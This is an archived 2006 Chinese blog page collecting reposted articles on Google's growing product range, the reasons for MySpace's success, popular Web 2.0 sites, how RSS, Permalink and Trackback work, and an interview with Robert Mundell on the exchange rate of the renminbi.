Main | March 2006 »

February 28, 2006

Linghucong'S Google 式生存

呵呵,是啊,google正在迅速地建立自己的一整套粘合用户的系统,否则当microsoft yahoo反扑过来的时候就凶多吉少了呵

不得不承认,很多人对google的东西很是迷信,包括本人,也是google的一个忠实粉丝,不过在波罗纪上看到这样的生活方式,确实挺让人震撼,google在生活中的重要性真到那一步,会不会有点可怕?

2008年的某一天,你早上起来之后,想上个网,于是使用Google免费提供的WIFI上网,上网之后,打开了装了Google Toolbar的浏览器,用Gmail处理email, 到Google News看看新闻,用GoogleReader看看朋友们的blog更新了没有,然后用Google Talk跟他们聊聊天。你有点感触,想用Blogger写自己的blog,在写blog时使用Google Image搜索漂亮的图片点缀一下,然后用Picasa处理一些图片后上传,你突然忘记你电脑中某些文件放在那儿了,于是你用Google Desktop搜索一下自己的电脑。

你收到了GoogleAlert的提醒,说你关注的笔记本电脑本周已经到货,于是你想用 Google Local看看一下本地还有没有其他的这方面信息的,然后用Froogle做购物之前的对比,对比完之后你觉得这家商品不错,最后用GooglePay付了款。然后你觉得以前的笔记本旧了,应该卖掉了,于是到Google Base发布相关信息,等待买家来临。

你做了一家网站,那是你的工作,使用的是GooglePages提供的主机空间,每天用sitemap向Google提交更新信息。在这之后,你想查询一下昨天GoogleAdsense的收入多少,因为它是你全部的收入来源,同时也用GoogleAnalytics查看一下今日网站访问情况来确定以后网站的内容方向。

工作完之后,你想找点娱乐,于是就到Google Book Search Google Video找一些书和视频来看。发现一部电影不错,于是用 Google Movie Showtimes搜索它在本地上映时间。突然你朋友拜托你找一些论文方面的资料,为避免浪费你看电影的时间,你建议你的朋友使用Google Scholar

找到了电影上映时间之后,你发现你不知道电影院在那里,于是用GoogleMaps查询位置,你想叫个出租车去电影院,于是使用GoogleRidefinder找到出租车,去看电影了。看电影时你发现有个演员很熟悉,于是拿起手机,用Google Mobile搜索关于他的信息,然后用Google SMS订阅。

看完电影已经是深夜,回了家,你躺在床上想,“啊,多么完美的一天!明天又会是新的一天开始。”,于是安然入睡。

破解Myspace成功之谜

文章写的不错,很有道理,就像现在的现在的IM市场,之所以QQ一家独大,就是因为别的im用户暂时还达不到飞速增长的临界点。既然70%的人用QQ联系朋友,那你就不得不用,因此临界点的这个说法我很赞同

春节前的某天,为了测试一下myspace的注册情况,我做了个小试验。大家都知道,myspace功能设计中,新增用户都是网站创始人Tom的好友;所以我就数了数,发现24小时内Tom增加了16万的好友。这毫无疑问证明,myspace获得巨大的成功,这是大家都知道的――但很多人不知道的是,仅仅在一年前,myspace和我们国内的博客网、天涯社区还是在一条起跑线上,这从Alexa曲线可以看出,当时,三家网站的Reach per million users都在3000左右――所以这篇文章想告诉大家的第一件事是:myspace仅仅是在2005年才真正成功。

关于myspace为什么成功,我听得最多的说法是:“音乐”――很多人认为,myspace做音乐和歌手,所以吸引了fans人群。那么到底是不是这个原因呢?我们看看《MySpace的历史》这篇文章发现,其实从myspace在2003年建站之初,他们就开始以“音乐”和“歌手”为手段来吸引网友,但是如上叙述,这些手段使得他们在2005年以前,发展虽不错,但远没有突破,只是一个日均独立IP在10万左右的普通网站水平。所以说myspace靠“音乐”获得那么大的成功,是站不住脚的;研究myspace为什么成功,就应该研究到底是什么原因,使得2005年myspace产生“突变”,把全球99%的网站远远抛在后面――这才是myspace成功之谜。

要解答这个问题,首先,我们一定要认识到myspace本质上是一个社区,并且是一个“内聚型发展”的社区。(注:这里你也可以理解为是SNS,因为真正的SNS和社区几乎是同一性概念)。所谓“内聚型发展”的社区,是指社区用户的形成,其最开始是少数几个核心用户,然后类似“滚雪球”一样,一个带一个,形成千万用户群――但这千万最终用户,如果我们一一往前追溯,其连络关系几乎都能到达最开始的那几个人,社区因此呈一种“网状”连络。这类社区很多,象国内的天涯网站也是典型的“内聚型发展”社区。而与“内聚型发展”社区相反的是百度贴吧、QQ这些P2P应用形成的“外延型发展”社区,相比而言,QQ社区类似“下大雪”,虽然其因为既有的庞大客户端用户群快速建立了Web端社区,规模很大,但是用户和用户之间的关系是“点状”的。让我用《笑傲江湖》中的一个比喻来解释,“外延型发展”社区类似华山“剑派”,“内聚型发展”社区类似华山的“气派”――开始可能是百度贴吧、QQ这样的社区一下子就起来了,但一段时间过后,真正能够发展的还是“内聚型社区”,因为存在“雪崩效应”――“滚雪球”一年、二年、三年,然后到了某个突变点(Tipping Point),一下就大面积流行了。2005年,就是myspace的临界点――请注意:此时,myspace每天的独立IP大约在10万左右。

第二,myspace在“临界点”上做了正确的事情。从上面的资料可以看出,在2005年前后,myspace推出了3个特色的服务:“活动邀请”、“msn病毒式推广”和“校友录”。仔细考察这三项服务就会发现,它们都是扩大“内聚型发展”强度的服务。这是从两个方面加深的――即加深了老网友之间的互动,又加强了老网友“拉”新网友的强度。当每天独立IP在10万左右的临界点上,myspace围绕着自己的核心业务设计这些新的产品和服务,在恰当的时间做了恰当的事情――就一条:“注册用户数”,因此才迎来真正的成功。相反,国内的一些网站往往也是在这个时候,急于求成,全面出击,做无线增值或者互联网增值,钱没赚到不说,反而错过了发展的关键时机。

第三,myspace提供的服务,不是“音乐”,而是“基本网络服务”,如此才可能有2005年这么庞大的增长空间。其实,我自己一直把myspace看作是一个“电子邮件2.0版”,认为它是一个互联网基本服务提供商,而不是一个专业网站。有两个证据可以充分证明我的判断:一是myspace的创始人之一提到,之所以那么多青少年用户使用myspace,仅仅是为了“hanging out”,因为他们的朋友“hanging out”在myspace上,所以他们也“hanging out”其上。“hanging out”是用户的一种看似“无聊”的状态,它意味着用户并不真的认为能在myspace上“做”点什么(包括音乐),而只是那么若有若无地“挂在”上面,类似我们的QQ“挂机”(这点也反之证明,凡是能让用户产生象QQ、myspace这样“挂机”行为的网站,成功的可能性都很大);二是看看alexa数据中myspace的流量分布情况,其中流量最高的二级域名是viewmorepics,占全站17%――而这个地址是用来无所事事地、几乎随机查看朋友照片的页面。所以根据上述例子和网络经验,我认为myspac提供的服务,几乎可以说是一个“富媒体”(Rich)的“电子邮件”,是一种每个用户都需要的服务――“网上家园”服务。

写到这里,做个总结吧,myspace成功之谜,答案大致如下:
1,10万的每日独立ip,是网站发展的临界点(我以后会专文论述这个数据模型)
2,myspace提供的是每个用户都需要的基本网络服务,因此才可能存在后续的爆发空间
3,myspace的内聚型发展模式,使得它们能够在2005年迎来临界点
4,最后的也是最重要的:myspace在临界点这个关键的时间,做出了关键的正确的事情――集中精力,继续发展“注册用户”

所以,是否能成为一个成功的互联网公司,关键不是在开站之初的第一步,而是在几年后,网站每日独立IP达到10万准备上台阶的第二步――那才是决定性的时刻。

February 27, 2006

The Best of Web 2.0

The next generation of the web is here! With new kinds of desktop-like applications being released left and right, how will you know where to go and what to use? That’s why we’re here: To show you the best of Web 2.0 sites that you can get the most out of. No matter the task, video, audio, or photos, we have a site that works great for what you want to do and uses all the great features of Web 2.0 technology.

Photos
Flickr (www.flickr.com)
Flickr is one of, if not the best, site for sharing your photos online. With a nice, clean layout and easy-to-use tools, you can upload massive amounts of pictures and label them to your liking. Using tags, you can search for photos of specific content and label your photos with tags so they’re easy to find. But that’s not all. Great uploading tools allow batch uploading quickly, so you don’t have to worry about sorting through photos you hate. Flickr uses AJAX-technology extensively, so no page reloading occurs. This means you can add more tags to a photo or add a comment swiftly and without refreshing. Flickr also allows a contacts list to keep track of your buddies and friends. Flickr is free but has some limitations, such as the amount you can upload if you’re not a “pro” member. Membership is inexpensive at $24.95 a year, though, and is well worth it.

Video
Vimeo (www.vimeo.com)
If Flickr is for photos, then Vimeo is its video counterpart. The site keeps a traditional, clean layout and is very simple. You can upload video to share with people and friends via a contacts list. One of the better features of Vimeo is that it makes most videos easily accessible. All videos are converted to Quicktime, making them easy to view and download, but if the old format is what you normally like to view, Vimeo keeps it around so you can use it. You can easily click one-button to post a video to social bookmarking site del.icio.us (see below), which is great for getting your content out there for all to see. Comments on videos are kept very clean and neat and the best part is that it’s free!

Social Bookmarking
Del.icio.us (del.icio.us)
Del.icio.us is the “original” social bookmarking site that had lots of success in its clever domain name. Bought by Yahoo! in 2005, little has changed that has made this site such a success. It allows you to keep track of all your favorite items on the web: Music, websites, favorite movies, and more. The layout is clean but a bit confusing at first, and takes a little while to get used to. The front page features great stories from all categories of the web, so Del.icio.us caters to pretty much everyone. Tags are a huge focus of the site; every post/bookmark features tags to make it more accessible. You can share your bookmarks with family and friends, which is a great way to show them what you’re interested in. Del.icio.us is free and fun for people looking to show off what they like.

Digg (www.digg.com)
Co-created by ex-TechTV star Kevin Rose, Digg is a news- and story-based site where users get to decide what gets shown. Stories are “dug,” which allows the most “dug” stories to be showcased on the homepage. The site mostly focuses on technology and the like, but also features odd and goofy rumors and interesting sites. You can get the latest dug stories with RSS and create an account to post your own stories to be dugged. Stories can also be tagged for easier searching; the site is launching some cool new features like DiggSpy, a tool that allows you to see what people are digging and writing before they even post anything. Lots of interaction goes on with commenting, so be sure to be talkative when engaging in Digg.

Newsreaders / RSS
Bloglines (www.bloglines.com)
Bloglines isn’t just for blogs you know. You can use it to add pretty much any RSS feed-in. Owned by AskJeeves, this site allows you to keep track of all your favorite blogs via RSS. You can then log in from any computer to check your news and blog entries on your favorite sites. Their goal is to keep you happy and give you lots of options. You can publish your own blog if you’d like to start writing more, and you can share your favorite blogs with friends so they know what you read, and vice versa. It’s a very good way to keep up to date with your blogs if you’re on the road or don’t like having a newsreader on your computer.

Start Pages
Netvibes (www.netvibes.com)
Netvibes is a start page that is AJAX to the max. Draggable windows you can edit are what you start with, and no account is required to start using it right away. You can have a price watcher, your Gmail account readily available, RSS from any site to keep updated with news, and many more features. My favorite is the Flickr slideshow with any tag you give it. No refreshing at all, thanks to the AJAX technology being fully utilized. A to-do list and Google search are also readily available at your fingertips. Netvibes is the best start page for those getting into the Web 2.0 movement; nothing out there beats it.


Collaboration / Word Processing
Writeboard (www.writeboard.com)
Have you ever wanted a web-based word processor where multiple people can login and share ideas? Writeboard does that and a whole lot more. You can start a board very quickly and easily and invite your co-writers to join in and help brainstorm with you. RSS updates are available for your board so you know when changes have been made, a very nice feature. Another great feature is the ability to have multiple versions of a document so you can roll back if needed. You can export your board into a text file or e-mail, too, for quick access and sharing.


Maps/Directions
Google Maps (maps.google.com)
The search giant takes the cake here with their insanely cool map software. All AJAX-based, Google Maps allows you to view the layout of any city or place in the world. You can view a satellite photo of the area and zoom in, or just see which roads and streets are where. Directions are now easier to read and find because the software works so well. The Google Maps’ API allows web developers endless creativity with their mapping software. Used with Google Local (see below), it’s an unstoppable tool you’ll always come back to.


Local Directories
Google Local (www.google.com/local)
Enter your address and a keyword and that’s all. You’re done. Google will do the rest. If you’re looking for Mexican food in the area, just use Google Local. A list will go down the left hand side of the page, while a Google Map on the right hand side shows markers of restaurants near you. It’s great for finding places you never knew existed in your area. Google Local is an excellent way to find restaurants and places to go that are close to you or in an area you’ve never been to.



Chat/IM
Meebo (www.meebo.com)
It doesn’t take a rocket scientist to have a great idea; Meebo is an awesome example. Meebo is an AJAX-based chat client with which you can use AIM, Google Talk, Jabber, ICQ, and more. A great aqua-like interface and the ability to do all of this without technology such as Java is a real asset when on the go. No refreshing occurs while dragging around IM windows or viewing your friend’s information. The chat works great, too, and is perfect for people who are not allowed to install chat clients on work computers. You can even set messages away and leave your browser window open. It’s a very valuable tool that won’t leave any breadcrumbs, letting people know you were chatting it up.

By: Vince Veneziani
February 23rd, 2006
Page 1 of 2 Discuss Print Email

February 26, 2006

Blog的三大核心功能及RSS详解

三大核心功能:
RSS
Permalink
Trackback Ping
Permalink
Trackback Ping

RSS
首先谈RSS,RSS其实很多朋友都已有了解。RSS是站点用来和其他站点之间共享内容的一种简易方式(也叫聚合内容),通常被用于新闻和其他按顺序排列的网站,一段项目的介绍也可以是包含新闻的全部介绍等。或者仅仅是额外的内容或者简短的介绍。这些项目 的链接通常都能链接到全部的内容。网络用户可以借助RSS Reader在不打开网站内容页面的情况下阅读支持RSS输出的网站内容。网站提供RSS输出,有利于让用户发现网站内容的更新。

现在很多站点都有RSS Feed,那么为什么是Blog的核心呢?RSS 本质上中是一种遵循W3C RDF规范的XML格式,Blog和RSS结合十分紧密,自Blog一诞生以来,标准的Blog站点都支持RSS技术规范,能够包含网站的Logo、Link、标题、内容等等。

Permalink

中文翻译一般叫做固定链接,其实我觉得翻译成静态链接更为贴切。下面切入正题:

不得不承认,将动态网页链接rewriting成静态链接是最保险和稳定的面向搜索引擎优化方式。

此外随着互联网上的内容以惊人速度的增长也越来越突出了搜索引擎的重要性,如果网站想更好地被搜索引擎收录,网站设计除了面向用户友好(User Friendly)外,搜索引擎友好(Search Engine Friendly)的设计也是非常重要的。进入搜索引擎的页面内容越多,则被用户用不同的关键词找到的几率越大。在Google的算法调查一文中提到一个站点被Google索引页面的数量其实对PageRank也是有一定影响的。由于Google 突出的是整个网络中相对静态的部分(动态网页索引量比较小),链接地址相对固定的静态网页比较适合被Google索引(怪不得很多大网站的邮件列表归档和BLOG按日期归档的文档很容被搜的到),因此很多关于面向搜索引擎 URL设计优化(URI Pretty)的文章中提到了很多利用一定机制将动态网页参数变成像静态网页的形式:
比如可以将:
http://d4e.org/showthread.php?t=12327
变成:
http://d4e.org/2004/09/08/01

实现方式主要有2种:
基于url rewrite
IIS的ISAPI REWRITE(免费下载)
基于path_info
具体实现细节不是本文重点,不再细述。很多BLOG程序后台都能打开此功能,也要注意WEB服务器的设置,使用虚拟主机无法设置服务器的朋友请参考path_info的一些资料。

静态地址还有什么好处:
隐藏后台实现:这在后台应用平台的迁移时非常有用:当从asp迁移到java平台时,对于前台用户来说,根本感受不到后台应用的变化;
简化数据校验:比如我们需要将应用从news.asp?id=234迁移成news.php?query=234时,前台的表现可以一直保持为 news/234.html。从实现应用和前台表现的分离:保持了URL的稳定性,而使用WEB服务中的mod_rewrite甚至可以把请求转发到其他后台服务器上。
从技术层面来讲,论坛如果想被搜索引擎更多的关注的话,同样可以实现Permalink。

Trackback

TrackBack最早是Movable上的一个小功能。可以说就是这个小功能在blog界却掀起了一场革命。

TrackBack为将全世界无数个blog连接起来的功能。例如,当你读了某个网站的文章,想对此写下自己的感想。这个时候利用网站准备的讨论功能进行留言是很最常见的做法。但这样只是把自己的评论意见写下来向别人的网站投稿,而你自己手里却什么也没留 下。

TrackBack 则与之有很大的区别。可以把评论写到自己网站上。然后向原始文章的服务器发送该网页的URL及标题、部分正文、网站名称等信息(注)。尽管这一过程只是称之为“发送TrackBackPing”,但通过这种办法,在原始文章的地方就留下了你的评论的URL 、标题等部分信息。当然别人也可以向原始文章发送TrackBack Ping,所以在原始文章中就将包括你的TrackBack Ping在内的所有评论都记录了下来。

此外,如果你在自己网站上也设置了TrackBack Ping功能的话,那么谁都可以通过TrackBack Ping来发表针对你的意见了。这样,多家网站就通过相关话题而联接起来。各种评论在因特网上就像网眼一样联接起来。这样就创造出了与日记网站完全不同的文化。

注:发送地址采用原始文章指定的URL,这一URL就称为“TrackBack Ping URL”。TrackBack的技术标准刊登在“LowLife.jp”的blog网站上。

如果你使用的是服务商提供的Blog服务,服务商没有提供Trackback怎么办?或者你的空间不足以放下太多的Trackback回复,又怎么办?

到HaloScan.com去看看。

最后用一句话总结这三大功能:
RSS:能让用户更方便的订阅
Permalink:能更好的让你的文章被搜索引擎关注
Trackback:能更好的与其他Blog进行交流、讨论、沟通

什么是 RSS :rss.txt
RSS 系列介绍(一):RSS的一些背景资料

讨论与Blog相关的技术,不可不谈的就是RSS,这个缩写在英文中可以有几个源头,并被不同的技术团体做不同的解释。既可以是“Rich Site Summary”,或“RDF Site Summary”,也可以是“Really Simple Syndication”。为什么有这么多含义呢?这还要从RSS的一段今天也没有理清的关系说起。

今天肯定有人还记得IE 4刚刚推出来的时候有一个有趣的功能,那就是新闻频道。这个新闻频道的功能与Netscape推出的新闻频道是很相似的(当时Netscape还是市场上领先的浏览器)。为此Netscape 定义了一套描述新闻频道的语言,这就是RSS,只不过Netscape自当时起每况愈下,所以最终也没有发布一个正式的RSS规范(只发布了一个0.9版本)。而微软也在当时推出了支持自己IE的CDF(Channel Definition format)数据规格,与RSS非常接近。微软试图用新闻频道的功能把“推”(Push)技术变成一个应用主流,并与Netscape抗衡。不过出乎预测的是,“推”技术自始至终没有找到合适的商业模型,而且伴随着其他各类网络特性的出现,也日益无法显 现自身的优势。新闻频道在浏览器中的地位最终日暮西山,最后也在IE的后续版本中消失了。

新闻频道的确进入了低谷,但是RSS并没有被业界人士所抛弃。过去两年,Blog从一个专业群体开始,逐步成为了网络上最热门的新话题。而RSS成为了描述Blog主题和更新信息的最基本方法。于是RSS这项技术被著名Blogger/Geek戴夫·温那(Dave Winner)的公司UserLand所接手,继续开发新的版本,以适应新的网络应用需要。新的网络应用就是Blog,因为戴夫·温那的努力,RSS升级到了0.91版,然后达到了0.92版,随后在各种Blog工具中得到了应用,并被众多的专业新闻站点 所支持。在广泛的应用过程中,众多的专业人士认识到需要组织起来,把RSS发展成为一个通用的规范,并进一步标准化。一个联合小组根据W3C新一代的语义网技术RDF对RSS进行了重新定义,发布了RSS 1.0,并把RSS定义为“RDF Site Summary”。这项工作并没有与戴夫·温那进行有效的沟通,而戴夫则坚持在自己设想的方向上进一步开发RSS的后续版本,也并不承认RSS 1.0的有效性。RSS由此开始分化形成了RSS 0.9x/2.0和RSS 1.0两个阵营,也由此引起了在专业人群中的广泛争论。

因为争论的存在,一直到今天,RSS 1.0还没有成为标准化组织的真正标准。而戴夫·温那却在2002年9月独自把RSS升级到了2.0版本,其中的定义完全是全新的模式,并没有任何RSS 1.0的影子。这引发了网络上进一步争议,究竟让一个越来越普及的数据格式成为一个开放的标准,还是被一家公司所定义和控制,成为了争议的焦点。戴夫·温那并没有为自己辩解,他的观点是RSS还需要进一步发展,需要专业人士更明确的定义,不过恐怕这种轻描 淡写不能消除人们对RSS“被一家商业公司独占”的担心。

前面的铺垫对用户来说也许没有什么太大的意义,可能更多人关心如何在自己的Blog增加RSS输出,这样可以让很多新闻聚合工具(例如CNBlog刚刚推荐的NewzCrawler)很容易找到你并自动获得你在Blog中的更新内容。

所以我们会在后面的系列文章中逐步增加对RSS工具的介绍,以及如何在你的Blog中添加RSS输出格式和相关的标志链接。等不及的用户,可以先到我的个人站点上的一个临时链接地方尝试起来了,我提供了一个简单的RSS生成工具和相关的介绍(对Blogg er.com工具最佳,其他工具还没有做测试)。

P.S. goghs 的一个留言,供大家参考,普通用户大可以跳过: “关于RSS两个标准之争前段时间确实很激烈,很多局内人士被迫翻出了陈年老帐。有些争论甚至到了攻击的地步。跑开情感因素不论,作为一个完全的局外人,我个人是比较偏向于0.9x/2.0 (具体就是0.91 -> 0.92 -> 0.94 -> 2.0)的。1.0将rdf的命名空间重新加入了RSS,这有它的意义。但是从RSS使用的领域,至少是现在的使用目的而言,1.0标准显得过重了。相比之下2.0更简单更实用一点。 至于说一家公司控制标准的问题,其实从一开始RSS就处在这种状况之下,如果你认为它是被控制的话,从一开始就被控制了,即使在Netscape的年代。作为一个开放标准,这种控制并未对用户形成什么危险。 其实1.0背后也是一家公司,知名的O'Reilly。 从既有资源而言,0.9x系列占有压倒优势,我想2.0会作为当然的既得利益者,继续占有统治位置。

但是对于一个开发者来说,可能这种争论更容易被调和,因为你可以同时支持他们,甚至包括以前所有的标准。 这涉及两个方面: 1. source: 你可以生成两个版本,分别符合1.0和2.0规范。 或者你可以生成一个XML源,然后使用XSL/XSLT转换成1.0/2.0格式。 2. aggregator: 对不同的格式分别使用不同的解析。

当然,我希望最终还是能够互相妥协,只保留一个标准。不过这也许很难,因为这在计算机领域是最不常见的一件事。不管是公司之间,还是业余开发之间,都不容易达到一致。”

Isaac: goghs的留言很好,算是对这场标准的争论的一个补充吧。大家可能会奇怪,这种争论会不会对Blog的发展产生不利的影响。照我说,不一定,很可能是促进作用更多一些。不像最近国内的某些争吵,吵来吵去其实伤害了发展和进步。另外,从技术开发上来说,我 也非常支持0.92系列的简易性,把新浪新闻变成RSS 0.92并导入NewzCrawler 就是一个10分钟的工作,而RDF相对麻烦一点,当然也不过是处理一些额外的命名空间而已。但是从整体来说,Sementic Web(语义网)也需要大家的通力支持才能够有更好的未来,而作为承载语义网的一个重要部分,RDF应当被有责任感的人们所推动。不过我还是要承认RDF应用到RSS中还为时过早。


RSS 系列介绍(二)


--------------------------------------------------------------------------------
RSS与新闻聚合前面介绍了RSS的一些历史渊源,今天我再与大家聊聊RSS在新闻聚合,而下一次我还会介绍RSS在网站联合中的应用。

其实,RSS就是一段规范的XML数据,用一些大家约定的标记描述一个Blog或者一个新闻源的最近更新的内容。RSS是Blog走向社区化和快速普及的一个技术推动力,Blog也因此技术而走向了专业化领域。连同本来网络上的各种专业媒体提供的新闻源, 人们可以透过RSS在桌面上轻松访问大量与自己的兴趣相关的主题,而忽略掉访问网站带来的复杂过程,还有那些讨厌的花花绿绿的广告。新闻聚合(News Aggregation)和网站联合(Syndication)两个概念由此出现并广泛被Blogger们所采用。我们今天先谈谈新闻聚合。


所谓新闻聚合,就是通过软件工具或编程的方法从多个新闻源或Blog站点搜集新闻并在一个界面中提供给读者进行阅读。新闻聚合的基础条件就是这些新闻源都提供通用的数据格式,目前最流行的格式也就是RSS。也不知道是有了RSS,才有了新闻聚合的概念,还 是有了新闻聚合的想法,才出现了RSS的技术,总之技术最终应当是为人们的需要服务。目前网络上有一些流行的新闻聚合工具,他们都支持多种目前处于版本的RSS格式。我们在这里介绍几种比较流行的工具:


Aggie 是一个很小的新闻聚集工具,连同源代码下载也不过84K。唯一的限制是它建立在Microsoft .Net 框架上,所以运行起来还要这个平台的支持(.Net 框架的基本运行版本也要20M左右)。Aggie把用户登记的各种Blog或专业媒体新闻网站的信息都搜集在一起,并直接输出为一个本地网页,自动启动IE提供给用户进行浏览。

NetNewsWire 则是一个运行于Apple公司电脑上的新闻搜集和阅读工具。它提供的三个板块的版面格式与电子邮件应用非常类似,它可以直接在应用程序的界面中浏览新闻。

Straw 也是一个高效率的桌面新闻聚合工具,不过运行在GNOME环境中,在Linux和支持GNOME的UNIX环境中都能够运行。


CNBlog 心得集近期曾经推荐过NewzCrawler这个新出现的新闻聚合工具,这是我在PC桌面上看到的最好的新闻聚合工具了。无论从功能还是易用性方面来看,这个工具都比前面介绍的几个工具要更优秀。唯一的问题是,正式版本的NewzCrawler不是免费的 。现在我能够利用这个工具每天轻松地察看来自一些新闻站点(例如新浪和CNET等)的最新消息和一批我关心的Blog的更新内容,还能够便捷地用工具中内嵌的Blog输入工具把感兴趣的内容摘录到自己的Blog中,效率大增,真是令人产生了全球信息尽在指 尖的感受。当我们深入去想的时候,会发现这大概正是网络走向个性化和对传统媒体的一种挑战所在吧。

在新闻聚合的观念下,我相信Blog会与RSS共同发展,越来越成为人们最喜爱的信息来源。

Permalink:能更好的让你的文章被搜索引擎关注
Trackback:能更好的与其他Blog进行交流、讨论、沟通

google 的业务越来越丰富了

google是要粘住用户的啊,否则以后竞争对手就有机会了

TrackBack Ping(引用通告) 使用帮助

TrackBack最早是Movable Type上的一个小功能。可以说就是这个小功能在blog界却掀起了一场革命。

TrackBack为将全世界无数个blog连接起来的功能。例如,当你读了某个网站的文章,想对此写下自己的感想。这个时候利用网站准备的讨论功能进行投稿是很最常见的做法。但这样只是把自己的评论意见写下来向别人的网站投稿,而你自己手里却什么也没留下

用乐趣园博客举例如下:

1)直接在文章下面发表评论,发表之后一般不能再做修改,而且只能到此页面才能查看:

2)显示评论结果:

 

TrackBack则与之有很大的区别。可以把评论写到自己网站上。然后向刊载原始文章的服务器发送该网页的URL标题部分正文网站名称等信息(注)。尽管这一过程只是称之为“发送TrackBack Ping(引用通告)”,但通过这种办法,在原始文章的地方就留下了你的评论的URL、标题等部分信息。当然别人也可以向原始文章发送TrackBack Ping(引用通告),所以在原始文章中就将包括你的TrackBack Ping(引用通告)在内的所有评论都记录了下来。

利用乐趣园的TrackBack Ping(引用通告),举例如下:

1)将文章下面的 TrackBack Ping(引用通告) URL 复制下来:

2)打开你自己的乐趣Blog,开始发表TrackBack Ping(引用通告):

3)点击【发表日志】继续:

4)可以发表了,点击【发送TrackBack Ping】发送,可以看到发送结果:

5)TrackBack Ping(引用通告) 发表完毕,再去刷新一下刚才的文章评论:

此外,如果你在自己网站上也设置了TrackBack Ping(引用通告)功能的话,那么谁都可以通过TrackBack Ping(引用通告)来发表针对你的意见了。这样,多家网站就通过相关话题而联接起来。各种评论在因特网上就像网眼一样联接起来。这样就创造出了与日记网站完全不同的文化。

快快试一下这个小东东,相信您肯定会喜欢~

蒙代尔:人民币大幅升值给中国带来灾难性后果

www.XINHUANET.com  2006年02月14日 09:48:21  来源:中国青年报
“人民币大幅升值将对中国经济发展非常不利,会给中国带来灾难性后果。”2月13日,美国哥伦比亚大学经济系教授、诺贝尔经济学奖获得者、“欧元之父”罗伯特·A·蒙代尔博士,就备受国际关注的“人民币升值”问题,在北京大声地发出了与美国官方完全不同的声音。
虽已年逾古稀但却依然思路清晰、反应敏捷的
蒙代尔博士,此次来北京是为参加2月14日至15日举行的中美经济合作论坛。13日上午,他就“人民币是否应该升值”、“中美经济发展”、“世界单一货币”等一系列问题,接受了本报等4家媒体的联合采访。

人民币万不可大幅升值

2005年7月21日,中国启动汇率改革,人民币盯住美元的状态被打破。在此情况下,人民币对美元出现了小幅升值。对此,曾担任联合国、世界银行、美国财政部等多个世界金融组织和政府机构高级顾问的蒙代尔认为:“从全球金融市场来说,这只是一个微小的改变,国际贸易和资本市场并未因此受到什么影响。我认为,今年人民币对美元的汇率,将会有继续缓慢的浮动。”

他认为,中国现在的外汇储备才是问题的关键。目前,中国的外汇储备已达9000亿美元,在世界范围内仅次于日本,位居世界第二,很多人正是以此来逼迫中国将人民币升值的。而蒙代尔却对中国拥有如此之高的外汇储备根本不担心。他说:“这些钱对中国来说不是什么问题,因为正在大发展的中国有足够的渠道和机会去使用这些钱。但是,中国到底拥有多少数量的外汇储备才能被国际社会视作'好邻居’,却是一个很现实的问题。”

一段时间以来,“让人民币升值”似乎成为国际社会最常听到的一句话,其中美国因素自然不言而喻。然而,对于美国是否对中国施加了压力,蒙代尔却表示:“客观地说,去年美国在中国汇率问题上没有给中国施加很多压力,因为每次国会对这个问题进行讨论时,最后的答案都是'不’,我想中国也希望继续得到这样的答案。中国业已做出的汇率调整动作,是由于中国更加开放,这是中国自己的选择。”

他给中国的忠告是:“中国应继续做已经在做的事,允许人民币小范围浮动。但是,对汇率进行任何大幅度的、快速的调整,在目前情况下都对中国不利,因为这会给中国带来方方面面的损失,比如会减少外国投资,会在中国西部以农业为主业的地区引起通货紧缩,而且可能会使中国9%的GDP增长率降低一半。”所以,蒙代尔明确表示,人民币不应大幅升值,因为这对中国经济非常有害,会给中国带来灾难性后果。

目前,中国制造的很多商品占据了很大的国际市场,分享到不少原本属于其他国家的份额。对此,蒙代尔直言:“我能理解那些国家的心情,但没人可以阻止中国发展的趋势,未来中国在世界出口总额中的份额,很可能会达到7%或8%,甚至9%。因此,希望通过改变汇率来阻挡中国发展脚步的想法,是不明智的。”

“欧元之父”对“儿子”成长很满意

作为当今世界“最优货币区域理论”的首创者,蒙代尔因倡议并直接设计了世界第一个区域货币———欧元,而获得了“欧元之父”的美称。他对不同汇率体制下的货币和财政政策分析及最佳货币区域分析,做出了巨大贡献。现在,他“最亲爱的儿子”欧元已经运行了5年,那么,对于欧元在世界经济中发挥的作用,蒙代尔这位“父亲”又有何评价呢?

蒙代尔表示:“基本上,我对欧元运行5年来的状况很满意。首先,在欧洲目前已有12个国家使用欧元,每个国家都拥有了比以往更加稳定的货币。其次,欧元给那些使用它的欧洲公司带来了好处,使它们有统一的货币市场,且不存在货币兑换问题。第三,欧元减少了货币兑换产生的成本以及其中信息的成本,使欧元区的货币价格更加透明。对世界而言,它也给世界货币市场提供了美元以外的更多选择,使世界货币市场更加稳定。”

很多中国人都很关心,人民币在将来是否也可能成为如美元一样的国际货币?蒙代尔认为,在某种程度上,人民币已经是一种国际货币!因为人民币已可在泰国、新加坡、菲律宾等一些东盟国家通用。但由于人民币还是不可自由兑换的货币,因此一国如持有很多人民币,依然无法自由兑换成美元。蒙代尔冷静地强调:“使人民币成为一种世界货币,对中国来讲并无益处。举个例子,现在美国的美元是世界货币,但由于很多国家,如中国和日本,拥有大量美元,因此美国本身对自己货币的控制能力相对下降。所以,世界货币带来的不仅仅是利益,还有很大的成本。”

在欧元之外,“一生都在世界各地不停旅行”的蒙代尔还有一个更大胆的构想,那就是建立世界统一货币“国际元”或“世界元”。他评价说,现在的世界货币体系还不够健全,因为世界上还有一些货币浮动得很大,它们的摇摆会对其他国家的经济产生很大影响,因此,这种状况需要改革。蒙代尔认为建立“国际元”或“世界元”是很不错的想法,但要实现它,还需世界各国的共同努力。

人民币短期内难以撼动美元

出生于加拿大的蒙代尔,在过去的二十几年中一直担任美国哥伦比亚大学的经济学教授。在对多任美国总统的经济政策都产生过深刻影响的同时,蒙代尔还对中国的经济研究情有独钟。用他自己的话说:“我不讳言对中国的热爱,但我的立场是经济学家的立场。”

那么,对目前迅速崛起且引起一些国家不安的中国经济发展,蒙代尔有何总体评价?他表示:“我认为中国的经济在过去的10年至15年间发展得非常好,我预测中国未来几年的GDP恐怕还会以9%左右的速度增长,且在未来20年中,中国经济将保持7%以上的增长率。”

与美国人相比,中国人理财更愿意把钱放在银行而不是用于投资,因此,中国出现了高储蓄现状。对此,走访过中国30多所大学的蒙代尔分析认为:“因为中国百姓没有很多投资的选择,比如他们不大可能把全部资金投到股市上,股市风险在中国比较大,他也没有去买一些债券或者其他的投资产品。而美国人会有很多的投资方向,如去投资农场,退休后自己经营,或卖掉或留给自己的孩子。”

